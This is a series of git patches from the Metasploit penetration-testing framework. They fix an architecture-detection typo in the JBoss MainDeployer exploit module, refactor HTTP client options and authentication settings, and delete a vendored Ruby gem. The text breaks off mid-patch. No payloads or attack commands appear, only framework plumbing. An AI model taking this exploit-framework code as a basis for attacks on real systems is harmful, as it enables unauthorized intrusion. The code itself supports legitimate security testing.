session - # based authentication method. - # + # Send a series of requests to complete Digest Authentication + # @param opts [Hash] the options used to build an HTTP request + # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) @nonce_count = 0 From 9d4a3ca729d97c47c64850c606cc6c4577b44683 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 16:18:29 -0600 Subject: [PATCH 292/448] Fix a typo that broke this module against x64 [SeeRM #7747] --- modules/exploits/multi/http/jboss_maindeployer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..5d869b34ca 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -350,7 +350,7 @@ class Metasploit3 < Msf::Exploit::Remote arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 - elsif (os =~ /(x86_64|amd64)/i) + elsif (arch =~ /(x86_64|amd64)/i) return ARCH_X86 end end From dac11474735f77b1b301a6ef5a6d01643f5ee30e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 19:41:42 -0600 Subject: [PATCH 293/448] merge client config into opts --- lib/rex/proto/http/client.rb | 8 ++++++-- lib/rex/proto/http/client_request.rb | 4 ++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 132c7cdaf0..46bfffcc86 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -186,11 +186,13 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' + opts['client_config'] = self.config + if opts['basic_auth'] and not opts['authorization'] opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(self.config,opts) + req = ClientRequest.new(opts) end @@ -226,6 +228,8 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' + opts['client_config'] = self.config + if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true else @@ -236,7 +240,7 @@ class Client opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(self.config,opts) + req = ClientRequest.new(opts) end # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 8af865bde1..9c87834499 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -34,9 +34,9 @@ class ClientRequest attr_reader :opts - def initialize(client_config,opts={}) + def initialize(opts={}) @cgi = opts['cgi'] - @config = client_config + @config = opts['client_config'] @connection = opts['connection'] @content_type = opts['ctype'] @cookie = opts['cookie'] From b2563dd6c27a06123be1c341003f1093175b7dc6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 21:25:37 -0600 Subject: [PATCH 294/448] trying to clean up the mess from the revert --- lib/anemone/rex_http.rb | 4 +- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 -- .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 - .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 - .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 -- .../gems/method_source-0.7.1/README.markdown | 91 ------ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ----- .../method_source-0.7.1/lib/method_source.rb | 163 ----------- .../lib/method_source/source_location.rb | 138 --------- .../lib/method_source/version.rb | 3 - .../method_source-0.7.1/method_source.gemspec | 33 --- .../gems/method_source-0.7.1/test/test.rb | 122 -------- .../method_source-0.7.1/test/test_helper.rb | 50 ---- lib/msf/core/auxiliary/crawler.rb | 14 +- lib/msf/core/auxiliary/web/http.rb | 13 +- lib/msf/core/exploit/http/client.rb | 265 ++---------------- lib/rex/proto/http/client.rb | 28 +- 18 files changed, 65 insertions(+), 980 deletions(-) delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index ce6a71a17f..f606f289fc 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,7 +188,9 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies] + @opts[:proxies], + @opts[:username], + @opts[:password] ) conn.set_config( diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml deleted file mode 100644 index ba51bba6b2..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -rvm: - - 1.8.7 - - 1.9.2 - - 1.9.3 - - ree - - rbx-18mode - - rbx-19mode - - jruby - -notifications: - irc: "irc.freenode.org#pry" - recipients: - - jrmair@gmail.com - -branches: - only: - - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts deleted file mode 100644 index a4e7838016..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts +++ /dev/null @@ -1 +0,0 @@ --m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile deleted file mode 100644 index e45e65f871..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source :rubygems -gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE deleted file mode 100644 index d1a50d62d0..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown deleted file mode 100644 index d91b810a3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown +++ /dev/null @@ -1,91 +0,0 @@ -method_source -============= - -(C) John Mair (banisterfiend) 2011 - -_retrieve the sourcecode for a method_ - -*NOTE:* This simply utilizes `Method#source_location`; it - does not access the live AST. - -`method_source` is a utility to return a method's sourcecode as a -Ruby string. Also returns `Proc` and `Lambda` sourcecode. - -Method comments can also be extracted using the `comment` method. - -It is written in pure Ruby (no C). - -* Some Ruby 1.8 support now available. -* Support for MRI, RBX, JRuby, REE - -`method_source` provides the `source` and `comment` methods to the `Method` and -`UnboundMethod` and `Proc` classes. - -* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` -* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) -* See the [source code](http://github.com/banister/method_source) - -Example: display method source ------------------------------- - - Set.instance_method(:merge).source.display - # => - def merge(enum) - if enum.instance_of?(self.class) - @hash.update(enum.instance_variable_get(:@hash)) - else - do_with_enum(enum) { |o| add(o) } - end - - self - end - -Example: display method comments --------------------------------- - - Set.instance_method(:merge).comment.display - # => - # Merges the elements of the given enumerable object to the set and - # returns self. - -Limitations: ------------- - -* Occasional strange behaviour in Ruby 1.8 -* Cannot return source for C methods. -* Cannot return source for dynamically defined methods. - -Special Thanks --------------- - -[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. - -[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. - -[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. - -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile deleted file mode 100644 index 92c0234f3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile +++ /dev/null @@ -1,76 +0,0 @@ -dlext = Config::CONFIG['DLEXT'] -direc = File.dirname(__FILE__) - -require 'rake/clean' -require 'rake/gempackagetask' -require "#{direc}/lib/method_source/version" - -CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") -CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", - "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", - "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") - -def apply_spec_defaults(s) - s.name = "method_source" - s.summary = "retrieve the sourcecode for a method" - s.version = MethodSource::VERSION - s.date = Time.now.strftime '%Y-%m-%d' - s.author = "John Mair (banisterfiend)" - s.email = 'jrmair@gmail.com' - s.description = s.summary - s.require_path = 'lib' - - s.add_development_dependency("bacon","~>1.1.0") - s.add_development_dependency("rake", "~>0.9") - s.homepage = "http://banisterfiend.wordpress.com" - s.has_rdoc = 'yard' - s.files = `git ls-files`.split("\n") - s.test_files = `git ls-files -- test/*`.split("\n") -end - -task :test do - sh "bacon -q #{direc}/test/test.rb" -end - -desc "reinstall gem" -task :reinstall => :gems do - sh "gem uninstall method_source" rescue nil - sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" -end - -desc "Set up and run tests" -task :default => [:test] - -namespace :ruby do - spec = Gem::Specification.new do |s| - apply_spec_defaults(s) - s.platform = Gem::Platform::RUBY - end - - Rake::GemPackageTask.new(spec) do |pkg| - pkg.need_zip = false - pkg.need_tar = false - end - - desc "Generate gemspec file" - task :gemspec do - File.open("#{spec.name}.gemspec", "w") do |f| - f << spec.to_ruby - end - end -end - -desc "build all platform gems at once" -task :gems => [:rmgems, "ruby:gem"] - -desc "remove all platform gems" -task :rmgems => ["ruby:clobber_package"] - -desc "build and push latest gems" -task :pushgems => :gems do - chdir("#{direc}/pkg") do - Dir["*.gem"].each do |gemfile| - sh "gem push #{gemfile}" - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb deleted file mode 100644 index 9a3c325f75..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb +++ /dev/null @@ -1,163 +0,0 @@ -# (C) John Mair (banisterfiend) 2011 -# MIT License - -direc = File.dirname(__FILE__) - -require "#{direc}/method_source/version" -require "#{direc}/method_source/source_location" - -module MethodSource - # Determine if a string of code is a valid Ruby expression. - # @param [String] code The code to validate. - # @return [Boolean] Whether or not the code is a valid Ruby expression. - # @example - # valid_expression?("class Hello") #=> false - # valid_expression?("class Hello; end") #=> true - def self.valid_expression?(str) - if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ - Rubinius::Melbourne19.parse_string(str) - elsif defined?(Rubinius::Melbourne) - Rubinius::Melbourne.parse_string(str) - else - catch(:valid) { - eval("BEGIN{throw :valid}\n#{str}") - } - end - true - rescue SyntaxError - false - end - - # Helper method responsible for extracting method body. - # Defined here to avoid polluting `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [File] The opened source file - def self.source_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - (line - 1).times { file.readline } - - code = "" - loop do - val = file.readline - code << val - - return code if valid_expression?(code) - end - end - end - - # Helper method responsible for opening source file and buffering up - # the comments for a specified method. Defined here to avoid polluting - # `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [String] The comments up to the point of the method. - def self.comment_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - buffer = "" - (line - 1).times do - line = file.readline - # Add any line that is a valid ruby comment, - # but clear as soon as we hit a non comment line. - if (line =~ /^\s*#/) || (line =~ /^\s*$/) - buffer << line.lstrip - else - buffer.replace("") - end - end - - buffer - end - end - - # This module is to be included by `Method` and `UnboundMethod` and - # provides the `#source` functionality - module MethodExtensions - - # We use the included hook to patch Method#source on rubinius. - # We need to use the included hook as Rubinius defines a `source` - # on Method so including a module will have no effect (as it's - # higher up the MRO). - # @param [Class] klass The class that includes the module. - def self.included(klass) - if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && - RUBY_ENGINE =~ /rbx/ - - klass.class_eval do - orig_source = instance_method(:source) - - define_method(:source) do - begin - super - rescue - orig_source.bind(self).call - end - end - - end - end - end - - # Return the sourcecode for the method as a string - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method sourcecode as a string - # @example - # Set.instance_method(:clear).source.display - # => - # def clear - # @hash.clear - # self - # end - def source - if respond_to?(:source_location) - source = MethodSource.source_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !source - else - raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" - end - - source - end - - # Return the comments associated with the method as a string. - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method's comments as a string - # @example - # Set.instance_method(:clear).comment.display - # => - # # Removes all elements and returns self. - def comment - if respond_to?(:source_location) - comment = MethodSource.comment_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !comment - else - raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" - end - - comment - end - end -end - -class Method - include MethodSource::SourceLocation::MethodExtensions - include MethodSource::MethodExtensions -end - -class UnboundMethod - include MethodSource::SourceLocation::UnboundMethodExtensions - include MethodSource::MethodExtensions -end - -class Proc - include MethodSource::SourceLocation::ProcExtensions - include MethodSource::MethodExtensions -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb deleted file mode 100644 index 9161854819..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb +++ /dev/null @@ -1,138 +0,0 @@ -module MethodSource - module ReeSourceLocation - # Ruby enterprise edition provides all the information that's - # needed, in a slightly different way. - def source_location - [__file__, __line__] rescue nil - end - end - - module SourceLocation - module MethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - else - - - def trace_func(event, file, line, id, binding, classname) - return unless event == 'call' - set_trace_func nil - - @file, @line = file, line - raise :found - end - - private :trace_func - - # Return the source location of a method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - if @file.nil? - args =[*(1..(arity<-1 ? -arity-1 : arity ))] - - set_trace_func method(:trace_func).to_proc - call(*args) rescue nil - set_trace_func nil - @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) - end - return [@file, @line] if File.exist?(@file.to_s) - end - end - end - - module ProcExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ - - # Return the source location for a Proc (Rubinius only) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - [block.file.to_s, block.line] - end - else - - # Return the source location for a Proc (in implementations - # without Proc#source_location) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - self.to_s =~ /@(.*):(\d+)/ - [$1, $2.to_i] - end - end - end - - module UnboundMethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - - else - - - # Return the source location of an instance method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - klass = case owner - when Class - owner - when Module - method_owner = owner - Class.new { include(method_owner) } - end - - # deal with immediate values - case - when klass == Symbol - return :a.method(name).source_location - when klass == Fixnum - return 0.method(name).source_location - when klass == TrueClass - return true.method(name).source_location - when klass == FalseClass - return false.method(name).source_location - when klass == NilClass - return nil.method(name).source_location - end - - begin - Object.instance_method(:method).bind(klass.allocate).call(name).source_location - rescue TypeError - - # Assume we are dealing with a Singleton Class: - # 1. Get the instance object - # 2. Forward the source_location lookup to the instance - instance ||= ObjectSpace.each_object(owner).first - Object.instance_method(:method).bind(instance).call(name).source_location - end - end - end - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb deleted file mode 100644 index b8142bfaef..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb +++ /dev/null @@ -1,3 +0,0 @@ -module MethodSource - VERSION = "0.7.1" -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec deleted file mode 100644 index 83a727d6f6..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec +++ /dev/null @@ -1,33 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "method_source" - s.version = "0.7.0" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["John Mair (banisterfiend)"] - s.date = "2012-01-01" - s.description = "retrieve the sourcecode for a method" - s.email = "jrmair@gmail.com" - s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] - s.homepage = "http://banisterfiend.wordpress.com" - s.require_paths = ["lib"] - s.rubygems_version = "1.8.10" - s.summary = "retrieve the sourcecode for a method" - s.test_files = ["test/test.rb", "test/test_helper.rb"] - - if s.respond_to? :specification_version then - s.specification_version = 3 - - if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then - s.add_development_dependency(%q, ["~> 1.1.0"]) - s.add_development_dependency(%q, ["~> 0.9"]) - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb deleted file mode 100644 index 425e56acf9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb +++ /dev/null @@ -1,122 +0,0 @@ -direc = File.dirname(__FILE__) - -require 'rubygems' -require 'bacon' -require "#{direc}/../lib/method_source" -require "#{direc}/test_helper" - -describe MethodSource do - - describe "source_location (testing 1.8 implementation)" do - it 'should return correct source_location for a method' do - method(:hello).source_location.first.should =~ /test_helper/ - end - - it 'should not raise for immediate instance methods' do - [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| - lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise - end - end - - it 'should not raise for immediate methods' do - [:a, 1, true, false, nil].each do |immediate| - lambda { immediate.method(:to_s).source_location }.should.not.raise - end - end - end - - before do - @hello_module_source = " def hello; :hello_module; end\n" - @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" - @hello_source = "def hello; :hello; end\n" - @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" - @lambda_comment = "# This is a comment for MyLambda\n" - @lambda_source = "MyLambda = lambda { :lambda }\n" - @proc_source = "MyProc = Proc.new { :proc }\n" - end - - it 'should define methods on Method and UnboundMethod and Proc' do - Method.method_defined?(:source).should == true - UnboundMethod.method_defined?(:source).should == true - Proc.method_defined?(:source).should == true - end - - describe "Methods" do - it 'should return source for method' do - method(:hello).source.should == @hello_source - end - - it 'should return source for a method defined in a module' do - M.instance_method(:hello).source.should == @hello_module_source - end - - it 'should return source for a singleton method as an instance method' do - class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source - end - - it 'should return source for a singleton method' do - $o.method(:hello).source.should == @hello_singleton_source - end - - - it 'should return a comment for method' do - method(:hello).comment.should == @hello_comment - end - - - if !is_rbx? - it 'should raise for C methods' do - lambda { method(:puts).source }.should.raise RuntimeError - end - end - end - - # if RUBY_VERSION =~ /1.9/ || is_rbx? - describe "Lambdas and Procs" do - it 'should return source for proc' do - MyProc.source.should == @proc_source - end - - it 'should return an empty string if there is no comment' do - MyProc.comment.should == '' - end - - it 'should return source for lambda' do - MyLambda.source.should == @lambda_source - end - - it 'should return comment for lambda' do - MyLambda.comment.should == @lambda_comment - end - end - # end - describe "Comment tests" do - before do - @comment1 = "# a\n# b\n" - @comment2 = "# a\n# b\n" - @comment3 = "# a\n#\n# b\n" - @comment4 = "# a\n# b\n" - @comment5 = "# a\n# b\n# c\n# d\n" - end - - it "should correctly extract multi-line comments" do - method(:comment_test1).comment.should == @comment1 - end - - it "should correctly strip leading whitespace before comments" do - method(:comment_test2).comment.should == @comment2 - end - - it "should keep empty comment lines" do - method(:comment_test3).comment.should == @comment3 - end - - it "should ignore blank lines between comments" do - method(:comment_test4).comment.should == @comment4 - end - - it "should align all comments to same indent level" do - method(:comment_test5).comment.should == @comment5 - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb deleted file mode 100644 index 53da4e519c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb +++ /dev/null @@ -1,50 +0,0 @@ -def is_rbx? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ -end - -def jruby? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ -end - - -module M - def hello; :hello_module; end -end - -$o = Object.new -def $o.hello; :hello_singleton; end - -# A comment for hello - - # It spans two lines and is indented by 2 spaces -def hello; :hello; end - -# a -# b -def comment_test1; end - - # a - # b -def comment_test2; end - -# a -# -# b -def comment_test3; end - -# a - -# b -def comment_test4; end - - -# a - # b - # c -# d -def comment_test5; end - -# This is a comment for MyLambda -MyLambda = lambda { :lambda } -MyProc = Proc.new { :proc } - diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 36e963ecbc..168a130d5b 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler Opt::Proxies, OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), - OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]) + OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']) ], self.class ) @@ -118,8 +120,9 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['BasicAuthUser'] - t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '') + if datastore['USERNAME'] and datastore['USERNAME'] != '' + t[:username] = datastore['USERNAME'].to_s + t[:password] = datastore['PASSWORD'].to_s end if datastore['HTTPCookie'] @@ -278,9 +281,8 @@ module Auxiliary::HttpCrawler opts[:cookies] = t[:cookies] end - if t[:http_basic_auth] - opts[:http_basic_auth] = t[:http_basic_auth] - end + opts[:username] = t[:username] || '' + opts[:password] =t[:password] || '' opts end diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a7c8fc86e3..2ad3dbcb19 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -69,6 +69,7 @@ class Auxiliary::Web::HTTP attr_reader :framework attr_accessor :redirect_limit + attr_accessor :username , :password def initialize( opts = {} ) @opts = opts.dup @@ -84,8 +85,8 @@ class Auxiliary::Web::HTTP @request_opts = {} if opts[:auth].is_a? Hash - @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' + - opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' ) + @username = opts[:auth][:user].to_s + @password = opts[:auth][:password].to_s end self.redirect_limit = opts[:redirect_limit] || 20 @@ -105,7 +106,9 @@ class Auxiliary::Web::HTTP opts[:target].port, {}, opts[:target].ssl, - 'SSLv23' + 'SSLv23', + username, + password ) c.set_config({ @@ -296,6 +299,10 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 6d0bd9336b..5d8a48891e 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -46,10 +46,8 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), - OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), - OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), - OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']), - OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for 